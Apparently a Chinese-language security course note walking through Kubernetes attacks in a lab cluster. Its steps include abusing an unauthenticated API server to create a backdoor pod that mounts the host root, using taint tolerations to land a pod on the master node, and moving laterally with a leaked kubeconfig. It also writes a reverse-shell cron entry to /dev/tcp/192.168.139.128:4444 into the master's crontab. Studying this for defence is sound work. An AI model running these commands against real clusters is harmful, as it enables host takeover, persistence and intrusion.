云上攻防-云原生篇&K8s安全&实战场景&攻击Pod&污点Taint&横向移动&容器逃逸

知识点

1、云原生-K8s安全-横向移动-污点Taint

2、云原生-K8s安全-Kubernetes实战场景

章节点:

云场景攻防:公有云,私有云,混合云,虚拟化集群,云桌面等

云厂商攻防:阿里云,腾讯云,华为云,亚马云,谷歌云,微软云等

云服务攻防:对象存储,云数据库,弹性计算服务器,VPC&RAM等

云原生攻防:Docker,Kubernetes(k8s),容器逃逸,CI/CD等




一个集群包含三个节点,其中包括一个控制节点和两个工作节点

bash 复制代码
K8s-master 192.168.139.130
K8s-node1 192.168.139.131
K8s-node2 192.168.139.132


一、演示案例-云原生-K8s安全-横向移动-污点Taint

如何判断实战中能否利用污点Taint?

设置污点

bash 复制代码
kubectl taint nodes node1 xtz=value1:NoSchedule

去除污点

bash 复制代码
kubectl taint nodes node1 xtz:NoSchedule-

节点说明中,查找 Taints 字段

拿到node节点权限时可以查看其他node主机或者master主机是否支持用Taint污点横向移动

bash 复制代码
kubectl describe nodes node-name  




二、演示案例-云原生-K8s安全-Kubernetes实战场景

1、攻击Pod部署Web应用

Web应用部署:(struts2漏洞)

拉取靶场镜像

bash 复制代码
kubectl create deployment xiaodi --image=vulhub/struts2:2.3.28

查看pod容器的状态(归属节点、内部IP、运行状态等)

bash 复制代码
 kubectl get pods -o wide

启动靶场镜像服务

bash 复制代码
kubectl expose deploy xiaodi --port=8080 --target-port=8080 --type=NodePort
bash 复制代码
kubectl get pod,svc

利用Web漏洞拿下权限




探针当前Webshell环境是否是docker容器

两种情况:

bash 复制代码
1、纯在docker容器里
2、在k8s下的某个主机里的docker容器
bash 复制代码
ls -al /

但是这还没完,因为这个docker容器有很大可能会在k8s下面

bash 复制代码
cat /proc/1/cgroup

docker逃逸

工具地址:https://github.com/cdk-team/CDK











2、利用k8s-Api-Server未授权提交创建后门Pod


bash 复制代码
./cdk_linux_amd64 kcurl anonymous post 'https://10.96.0.1:443/api/v1/namespaces/default/pods/' '{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test02\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test02\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test02","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test02","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}'

或者

bash 复制代码
./kubectl -s 10.96.0.1:443 create -f test.yaml
//test.yam就是{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test02\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test02\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test02","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test02","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}的值

查看后门pod是否创建

bash 复制代码
curl -k https://10.96.0.1:443/api/v1/namespaces/default/pods

3、实现挂载目录宿主机逃逸






加参数绕过交互式

bash 复制代码
./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a get pods
bash 复制代码
./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a exec test02 -- bash -c "ls /host"
//host目录就是挂载目录,相当于宿主机的/目录,可以自定义的。

4、利用污点Taint横向移动

参考:https://cn-sec.com/archives/1336486.html

获取node节点详情

bash 复制代码
./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a describe nodes | grep Taints

或者

bash 复制代码
./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a describe nodes
bash 复制代码
cat > x.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
  name: control-master-xiaodi  //自定义
spec:
 tolerations:
   - key: node-role.kubernetes.io/master  //这里要修改
     operator: Exists
     effect: NoSchedule
 containers:
   - name: control-master-xiaodi //自定义
     image: ubuntu:18.04
     command: ["/bin/sleep", "3650d"]
     volumeMounts:
      - name: master
        mountPath: /master //自定义
 volumes:
  - name: master
    hostPath:
     path: /
     type: Directory
EOF

创建一个新pod容器

bash 复制代码
./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a create -f ./x.yaml

查看新建pod容器归属

bash 复制代码
./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a get pods -o wide

利用新建pod容器进行逃逸

bash 复制代码
./kubectl --server=https://10.96.0.1:443 --insecure-skip-tls-verify=true --username=a --password=a exec control-master -- bash -c "ls /master"

反弹master控制端的shell

bash 复制代码
echo -e '* * * * * root bash -i >& /dev/tcp/192.168.139.128/4444 0>&1\n' >> /master/etc/crontab
//这里的master路径要注意与上面一致



5、利用Config泄漏横向移动

也可以利用节点泄漏的config横向移动节点

bash 复制代码
./kubectl -s https://10.96.0.1:443/ --kubeconfig=config --insecure-skip-tls-verify=true get nodes

./kubectl apply -f test.yaml -n default --kubeconfig=config

./kubectl -n default --kubeconfig=config exec xiaodisec -- bash -c "ls /mnt/root"
相关推荐
anew___13 小时前
《从零手写操作系统 (63):安全与加固——从内核保护到沙箱隔离》
网络·安全
其实防守也摸鱼13 小时前
个人学习 Pwn 思路:从基础到漏洞利用的进阶路径
大数据·前端·人工智能·chrome·算法·安全·网络安全
乐维_lwops15 小时前
案例解读:大型综合性科创产业园运维监控落地实践
运维·网络·人工智能·安全·it监控·国产运维智能体
阿里云云原生16 小时前
HiRoute 新版本发布:结合自己的真实工作选择最佳模型
云原生
m0_7156744317 小时前
政务泛监测体系能力排行:AI 重塑监测边界,治理的颗粒度革命
大数据·网络·人工智能·安全·网络安全·政务
山东科恩光电17 小时前
安全触边在智能制造产线自动化设备防夹伤防护中的选型与应用实践
安全
躺柒19 小时前
读数据安全架构设计与实践20安全政策文件体系(上)
大数据·人工智能·安全·数据安全·安全架构·安全体系
文谦南宁AI普工19 小时前
CVSS 10.0 沙箱逃逸 + 假扩展后门:给 Agent 开发者的供应链与沙箱安全复盘(附可跑的配置审计器)
安全·agent·ai编程
对象存储与RustFS19 小时前
Velero 接 RustFS 实操:K8s 集群备份落到自建对象存储
后端·docker·云原生
.冰块.1 天前
流量大了自动加 Pod!K8s HPA 扩缩容与 ResourceQuota/LimitRange 资源管控实战
linux·云原生·容器·kubernetes·hpa·quota·limitrange